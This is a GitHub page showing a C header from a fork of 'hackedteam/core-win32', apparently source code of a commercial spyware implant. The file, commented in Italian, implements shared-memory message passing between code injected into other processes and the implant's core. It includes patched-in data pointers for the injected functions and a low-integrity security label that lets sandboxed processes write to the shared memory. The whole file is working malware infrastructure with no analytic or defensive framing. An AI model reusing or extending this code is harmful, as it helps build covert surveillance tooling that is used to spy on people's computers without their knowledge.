forked from hackedteam/core-win32
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHM_IpcModule.h
357 lines (296 loc) · 11.4 KB
/
HM_IpcModule.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
#include "exceptions.h"
#include <Sddl.h>
// La memoria per la lettura e' composta da una serie di strutture che il server scrive e tutti i client
// possono leggere. La memoria per la scrittura implementa una coda di messaggi in cui i client scrivono
// e da cui il server legge.
// I client scrivono message_struct e leggono BYTE che poi loro casteranno.
// Valori base (modificabili a seconda delle esigenze)
#define MAX_MSG_LEN 0x400 // Lunghezza di un messaggio
#define MAX_MSG_NUM 3000 // Massimo numero di messaggi in coda
#define SHARE_MEMORY_READ_SIZE (WRAPPER_COUNT*WRAPPER_MAX_SHARED_MEM) // Dimensione spazio per la lettura delle configurazioni da parte dei wrapper
extern char SHARE_MEMORY_READ_NAME[MAX_RAND_NAME];
extern char SHARE_MEMORY_WRITE_NAME[MAX_RAND_NAME];
// Valori derivati
#define SHARE_MEMORY_WRITE_SIZE ((MAX_MSG_NUM * sizeof(message_struct))+2)
// Macro di supporto
#define DATA_SUPPORT DWORD dwFuncLen; DWORD dwFuncAdd; DWORD dwDataAdd;
typedef struct { DATA_SUPPORT; } Generic_data_support;
#define INIT_SFUNC(STRTYPE) STRTYPE *pData; \
__asm MOV EBX,69696969h \
__asm MOV DWORD PTR SS:[pData], EBX \
#define MMCPY(DST, SRC, SIZ) { BYTE *lsrc = (BYTE *)SRC; \
BYTE *ldst = (BYTE *)DST; \
DWORD lsiz = (DWORD)SIZ; \
__asm MOV ESI, lsrc \
__asm MOV EDI, ldst \
__asm MOV ECX, lsiz \
__asm REP MOVSB }
// Struttura di un messaggio scritto dai client
// Il corpo del messaggio DEVE essere sempre l'ultimo elemento (vedi IPCServerRead)
// XXX Se modifico va cabiato anche in AM_Core
typedef struct {
BYTE status;
#define STATUS_FREE 0 // Libero
#define STATUS_BUSY 1 // In scrittura
#define STATUS_WRIT 2 // Scritto
FILETIME time_stamp;
DWORD wrapper_tag;
DWORD message_len;
DWORD flags;
DWORD priority;
#define IPC_LOW_PRIORITY 0x0
#define IPC_DEF_PRIORITY 0x10
#define IPC_HI_PRIORITY 0x100
BYTE message[MAX_MSG_LEN];
} message_struct;
extern BOOL IsVista(DWORD *integrity_level);
void *FindTokenObject(HANDLE Handle);
void *IPC_SHM_Kernel_Object = NULL;
//-------------------- FUNZIONI DA INIETTARE (Client) ----------------------
//////////////////////////
// //
// IPCClientRead //
// //
//////////////////////////
typedef struct {
COMMONDATA;
BYTE *mem_addr;
} IPCClientRead_data_struct;
IPCClientRead_data_struct IPCClientRead_data;
// Ritorna l'indirizzo di memoria della configurazione di un dato wrapper
// Torna NULL se fallisce
static BYTE * __stdcall IPCClientRead(DWORD wrapper_tag)
{
INIT_SFUNC(IPCClientRead_data_struct);
if (!pData->mem_addr)
return NULL;
return (pData->mem_addr + wrapper_tag);
}
static DWORD IPCClientRead_setup(DWORD dummy)
{
HANDLE h_file = FNC(OpenFileMappingA)(FILE_MAP_READ, FALSE, SHARE_MEMORY_READ_NAME);
IPCClientRead_data.mem_addr = 0;
// Se non riesce ad aprire l'oggetto setta mem_addr a NULL e la funzione ritornera' sempre NULL
// Chi la richiama dovra' controllare che il valore di ritorno sia diverso da NULL prima di leggere
// dalla memoria
if (h_file)
IPCClientRead_data.mem_addr = (BYTE *)FNC(MapViewOfFile)(h_file, FILE_MAP_READ, 0, 0, SHARE_MEMORY_READ_SIZE);
IPCClientRead_data.dwHookLen = 150;
return 0;
}
//////////////////////////
// //
// IPCClientWrite //
// //
//////////////////////////
typedef void (WINAPI *GetSystemTimeAsFileTime_t) (LPFILETIME);
typedef struct {
COMMONDATA;
message_struct *mem_addr;
GetSystemTimeAsFileTime_t pGetSystemTimeAsFileTime;
DWORD increment;
DWORD old_low_part;
DWORD old_hi_part;
} IPCClientWrite_data_struct;
IPCClientWrite_data_struct IPCClientWrite_data;
// Torna TRUE se ha scritto, FALSE se fallisce
static BOOL __stdcall IPCClientWrite(DWORD wrapper_tag, BYTE *message, DWORD msg_len, DWORD flags, DWORD priority)
{
unsigned int i, j;
message_struct *pMessage;
FILETIME time_stamp;
INIT_SFUNC(IPCClientWrite_data_struct);
// Fallisce se la memoria non e' presente o se il messaggio e' troppo grosso
// per essere scritto
if (!pData->mem_addr || msg_len > MAX_MSG_LEN || !message)
return FALSE;
// La prima volta cerca una posizione libera.
// Se non la trova, cerca una posizione occupata da una
// priorita' minore
for (j=0; j<2; j++) {
for (i=0, pMessage=pData->mem_addr; i<MAX_MSG_NUM; i++, pMessage++) {
if (pMessage->status == STATUS_FREE || (j && pMessage->status == STATUS_WRIT && pMessage->priority < priority)) {
// XXX Possibilita' di remota race condition sulla lettura dello status
pMessage->status = STATUS_BUSY;
pMessage->message_len = msg_len;
pMessage->priority = priority;
pMessage->wrapper_tag = wrapper_tag;
pMessage->flags = flags;
// Setta il time stamp
if (pData->pGetSystemTimeAsFileTime) {
pData->pGetSystemTimeAsFileTime(&time_stamp);
// Gestisce il caso di due log dello stesso tipo con timestamp uguali
if (time_stamp.dwLowDateTime != pData->old_low_part ||
time_stamp.dwHighDateTime != pData->old_hi_part) {
pData->old_low_part = time_stamp.dwLowDateTime;
pData->old_hi_part = time_stamp.dwHighDateTime;
pData->increment = 0;
pMessage->time_stamp.dwHighDateTime = time_stamp.dwHighDateTime;
pMessage->time_stamp.dwLowDateTime = time_stamp.dwLowDateTime;
} else {
pData->increment++;
pMessage->time_stamp.dwHighDateTime = time_stamp.dwHighDateTime;
pMessage->time_stamp.dwLowDateTime = time_stamp.dwLowDateTime + pData->increment;
// se c'e' riporto
if (pMessage->time_stamp.dwLowDateTime < time_stamp.dwLowDateTime)
pMessage->time_stamp.dwHighDateTime++;
}
} else {
pMessage->time_stamp.dwHighDateTime = 0;
pMessage->time_stamp.dwLowDateTime = 0;
}
TRY_BLOCK
MMCPY(pMessage->message, message, msg_len);
TRY_EXCEPT
pMessage->status = STATUS_FREE;
TRY_END
if (pMessage->status == STATUS_BUSY)
pMessage->status = STATUS_WRIT;
return TRUE;
}
}
}
// Se arriva qui, la coda e' DAVVERO piena e il messaggio viene droppato
return FALSE;
}
static DWORD IPCClientWrite_setup(DWORD dummy)
{
HMODULE h_krn;
HANDLE h_file;
h_krn = GetModuleHandle("kernel32.dll");
IPCClientWrite_data.pGetSystemTimeAsFileTime = (GetSystemTimeAsFileTime_t)HM_SafeGetProcAddress(h_krn, "GetSystemTimeAsFileTime");
h_file = FNC(OpenFileMappingA)(FILE_MAP_ALL_ACCESS, FALSE, SHARE_MEMORY_WRITE_NAME);
IPCClientWrite_data.mem_addr = 0;
IPCClientWrite_data.old_low_part = 0;
IPCClientWrite_data.old_hi_part = 0;
IPCClientWrite_data.increment = 0;
// Se non riesce ad aprire l'oggetto setta mem_addr a NULL e la funzione ritornera' sempre NULL
// Chi la richiama dovra' controllare che il valore di ritorno sia diverso da NULL prima di leggere
// dalla memoria
if (h_file)
IPCClientWrite_data.mem_addr = (message_struct *)FNC(MapViewOfFile)(h_file, FILE_MAP_ALL_ACCESS, 0, 0, SHARE_MEMORY_WRITE_SIZE);
IPCClientWrite_data.dwHookLen = 800;
return 0;
}
//-------------------- FUNZIONI per il Server ----------------------
message_struct *server_mem_addr_read = NULL;
BYTE *server_mem_addr_write = NULL;
void IPCServerWrite(DWORD wrapper_tag, BYTE *buff, DWORD size)
{
if (server_mem_addr_write)
memcpy(server_mem_addr_write + wrapper_tag, buff, size);
}
// Torna TRUE se ha letto qualcosa. Non e' bloccante
// XXX Non piu' usata e non aggiornata con garanzia di ordinamento
/*BOOL IPCServerRead(message_struct *serv_buff)
{
unsigned int i;
message_struct *pMessage;
if (!server_mem_addr_read)
return FALSE;
for (i=0, pMessage=server_mem_addr_read; i<MAX_MSG_NUM; i++, pMessage++)
if (pMessage->status == STATUS_WRIT) {
// Assumendo che il coprpo del messaggio sia alla fine, copia soltanto il pezzo di messaggio
// valorizzato (header del messaggio + msg_len)
// Il check che msg_len sia minore di MAX_MSG_LEN viene fatto dalla funzione
memcpy(serv_buff, pMessage, sizeof(message_struct) - MAX_MSG_LEN + pMessage->message_len);
pMessage->status = STATUS_FREE;
return TRUE;
}
// Non ci sono elementi da leggere
return FALSE;
}*/
// Ritorna TRUE se tm1 e' piu' vecchio di tm2
BOOL is_older(FILETIME *tm1, FILETIME *tm2)
{
if (tm1->dwHighDateTime < tm2->dwHighDateTime)
return TRUE;
if (tm1->dwHighDateTime > tm2->dwHighDateTime)
return FALSE;
if (tm1->dwLowDateTime < tm2->dwLowDateTime)
return TRUE;
return FALSE;
}
// Piu' veloce della Read, ritorna direttamente il messaggio nella shared memory (non fa la memcpy)
// Ma necessita che poi il messaggio sia rimosso a mano dopo che e' stato completato il dispatch
// Garantiesce l'ordinamento
message_struct *IPCServerPeek()
{
unsigned int i;
message_struct *pMessage, *oldest_msg = NULL;
FILETIME oldest_time;
if (!server_mem_addr_read)
return NULL;
// Setta il tempo del piu' vecchio al massimo possibile
// cosi' il primo verra' preso
oldest_time.dwHighDateTime = 0xFFFFFFFF;
oldest_time.dwLowDateTime = 0xFFFFFFFF;
for (i=0, pMessage=server_mem_addr_read; i<MAX_MSG_NUM; i++, pMessage++) {
if (pMessage->status == STATUS_WRIT && is_older(&(pMessage->time_stamp), &oldest_time)) {
oldest_msg = pMessage;
oldest_time.dwHighDateTime = pMessage->time_stamp.dwHighDateTime;
oldest_time.dwLowDateTime = pMessage->time_stamp.dwLowDateTime;
}
}
// Ritrorna il messaggio piu' vecchio
// (NULL se non ce ne sono)
return oldest_msg;
}
// Rimuove dalla coda un messaggio preso con IPCServerPeek
void IPCServerRemove(message_struct *msg)
{
msg->status = STATUS_FREE;
}
// Se la shared memory gia' esiste ritorna FALSE
BOOL IPCServerInit()
{
HANDLE h_file;
SECURITY_ATTRIBUTES sec_attr;
SECURITY_ATTRIBUTES *act_sec_attr = NULL;
SECURITY_DESCRIPTOR sec_desc;
PSECURITY_DESCRIPTOR pSD = NULL;
DWORD dummy;
PACL pSacl = NULL;
BOOL fSaclPresent = FALSE;
BOOL fSaclDefaulted = FALSE;
BOOL ret_val = TRUE;
do {
if (!IsVista(&dummy))
break;
if (!FNC(InitializeSecurityDescriptor)(&sec_desc, SECURITY_DESCRIPTOR_REVISION))
break;
if (!FNC(SetSecurityDescriptorDacl)(&sec_desc, TRUE, NULL, FALSE))
break;
if (!FNC(ConvertStringSecurityDescriptorToSecurityDescriptorA)("S:(ML;;NW;;;LW)", SDDL_REVISION_1, &pSD, NULL))
break;
if (!FNC(GetSecurityDescriptorSacl)(pSD, &fSaclPresent, &pSacl, &fSaclDefaulted))
break;
if (!FNC(SetSecurityDescriptorSacl)(&sec_desc, TRUE, pSacl, FALSE))
break;
sec_attr.nLength = sizeof(SECURITY_ATTRIBUTES);
sec_attr.bInheritHandle = FALSE;
sec_attr.lpSecurityDescriptor = &sec_desc;
act_sec_attr = &sec_attr;
} while(0);
// WRITE e READ sono invertiti perche' vengono visti dall'ottica del client
h_file = FNC(CreateFileMappingA)(INVALID_HANDLE_VALUE, act_sec_attr, PAGE_READWRITE, 0, SHARE_MEMORY_READ_SIZE, SHARE_MEMORY_READ_NAME);
if (h_file) {
server_mem_addr_write = (BYTE *)FNC(MapViewOfFile)(h_file, FILE_MAP_ALL_ACCESS, 0, 0, SHARE_MEMORY_READ_SIZE);
IPC_SHM_Kernel_Object = FindTokenObject(h_file);
}
h_file = FNC(CreateFileMappingA)(INVALID_HANDLE_VALUE, act_sec_attr, PAGE_READWRITE, 0, SHARE_MEMORY_WRITE_SIZE, SHARE_MEMORY_WRITE_NAME);
if (h_file) {
if (GetLastError()==ERROR_ALREADY_EXISTS)
ret_val = FALSE;
server_mem_addr_read = (message_struct *)FNC(MapViewOfFile)(h_file, FILE_MAP_ALL_ACCESS, 0, 0, SHARE_MEMORY_WRITE_SIZE);
}
// Se esisteva gia' non ci deve scrivere
if (ret_val) {
if (server_mem_addr_read)
memset(server_mem_addr_read, 0, SHARE_MEMORY_WRITE_SIZE);
if (server_mem_addr_write)
memset(server_mem_addr_write, 0, SHARE_MEMORY_READ_SIZE);
}
LocalFree(pSD);
return ret_val;
}